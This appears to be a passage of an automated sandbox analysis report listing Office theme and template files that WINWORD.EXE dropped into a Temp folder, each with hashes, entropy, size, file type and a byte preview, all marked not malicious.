SHA-256:	D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610
SHA-512:	869A42679F96414FE01FE1D79AF7B33A0C9B598B393E57E0E4D94D68A4F2107EC58B63A532702DA96A1F2F20CE72E6E08125B38745CD960DF62FE539646EDD8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.a.v.o.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDFB8.tmp\Gallery.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Local\Temp\TCDDFB8.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5301133500353727
Encrypted:	false
SSDEEP:	6:Q+sxnxUXp2pRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyZ2vymD0wbnKNAH/lMz1
MD5:	1C5D58A5ED3B40486BC22B254D17D1DD
SHA1:	69B8BB7B0112B37B9B5F9ADA83D11FBC99FEC80A
SHA-256:	EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055
SHA-512:	4736E4F26C6FAAB47718945BA54BD841FE8EF61F0DBA927E5C4488593757DBF09689ABC387A8A44F7C74AA69BA89BEE8EA55C87999898FEFEB232B1BA8CC7086
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .G.a.l.l.e.r.y...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDFD9.tmp\Circuit.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDDFD9.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5286004619027067
Encrypted:	false
SSDEEP:	6:Q+sxnxUXOzXkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6WymD0wbnKNAH/lMz1
MD5:	40FF521ED2BA1B015F17F0B0E5D95068
SHA1:	0F29C084311084B8FDFE67855884D8EB60BDE1A6
SHA-256:	CC3575BA195F0F271FFEBA6F6634BC9A2CF5F3BE448F58DBC002907D7C81CBBB
SHA-512:	9507E6145417AC730C284E58DC6B2063719400B395615C40D7885F78F57D55B251CB9C954D573CB8B6F073E4CEA82C0525AE90DEC68251C76A6F1B03FD9943C0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.u.i.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDE048.tmp\Droplet.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDE048.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.528155916440219
Encrypted:	false
SSDEEP:	6:Q+sxnxUXcmlDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyMmloymD0wbnKNAH/lMz1
MD5:	AA7B919B21FD42C457948DE1E2988CB3
SHA1:	19DA49CF5540E5840E95F4E722B54D44F3154E04
SHA-256:	5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9
SHA-512:	01D27377942F69A0F2FE240DD73A1F97BB915E19D3D716EE4296C6EF8D8933C80E4E0C02F6C9FA72E531246713364190A2F67F43EDBE12826A1529BC2A629B00
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.r.o.p.l.e.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDE1A2.tmp\Slate.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDE1A2.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.516423078177173
Encrypted:	false
SSDEEP:	6:Q+sxnxUX7kARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny5ymD0wbnKNAH/lMz1
MD5:	5402138088A9CF0993C08A0CA81287B8
SHA1:	D734BD7F2FB2E0C7D5DB8F70B897376ECA935C9A
SHA-256:	5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137
SHA-512:	F40A8704F16AB1D5DCD861355B07C7CB555934BB9DA85AACDCF869DC942A9314FFA12231F9149D28D438BE6A1A14FCAB332E54B6679E29AD001B546A0F48DE64
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.l.a.t.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDE221.tmp\Damask.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Local\Temp\TCDE221.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.544065206514744
Encrypted:	false
SSDEEP:	6:Q+sxnxUXCARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyy6ymD0wbnKNAH/lMz1
MD5:	06B3DDEFF905F75FA5FA5C5B70DCB938
SHA1:	E441B94F0621D593DC870A27B28AC6BE3842E7DB
SHA-256:	72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A
SHA-512:	058792BAA633516037E7D833C8F59584BA5742E050FA918B1BEFC6F64A226AB3821B6347A729BEC2DF68BB2DFD2F8E27947F74CD4F6BDF842606B9DEDA0B75CC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.a.m.a.s.k...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDE30E.tmp\Mesh.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCDE30E.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5303110391598502
Encrypted:	false
SSDEEP:	6:Q+sxnxUXzRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnylymD0wbnKNAH/lMz1
MD5:	8D1E1991838307E4C2197ECB5BA9FA79
SHA1:	4AD8BB98DC9C5060B58899B3E9DCBA6890BC9E93
SHA-256:	4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9
SHA-512:	DCDC9DB834303CC3EC8F1C94D950A104C504C588CE7631CE47E24268AABC18B1C23B6BEC3E2675E8A2A11C4D80EBF020324E0C7F985EA3A7BBC77C1101C23D01
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.s.h...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDE36D.tmp\Main_Event.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Local\Temp\TCDE36D.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5434534344080606
Encrypted:	false
SSDEEP:	6:Q+sxnxUXIc5+RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny4KcymD0wbnKNAH/lMz1
MD5:	C9812793A4E94320C49C7CA054EE6AA4
SHA1:	CC1F88C8F3868B3A9DE7E0E5F928DBD015234ABA
SHA-256:	A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC
SHA-512:	D28AADEDE0473C5889F3B770E8D34B20570282B154CD9301932BF90BF6205CBBB96B51027DEC6788961BAF2776439ADBF9B56542C82D89280C0BEB600DF4B633
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.a.i.n._.E.v.e.n.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDE64E.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	274
Entropy (8bit):	3.4699940532942914
Encrypted:	false
SSDEEP:	6:fxnxUXGWWYlIWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxny2WzIgN2RGHmD0wbnKYZAH+Vwv
MD5:	55BA5B2974A072B131249FD9FD42EB91
SHA1:	6509F8AC0AA23F9B8F3986217190F10206A691EA
SHA-256:	13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7
SHA-512:	3DFB0B21D09B63AF69698252D073D51144B4E6D56C87B092F5D97CE07CBCF9C966828259C8D95944A7732549C554AE1FF363CB936CA50C889C364AA97501B558
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.s.i.g.h.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDE64E.tmp\Insight design set.dotx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Local\Temp\TCDE67E.tmp\Vapor_Trail.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDE67E.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	288
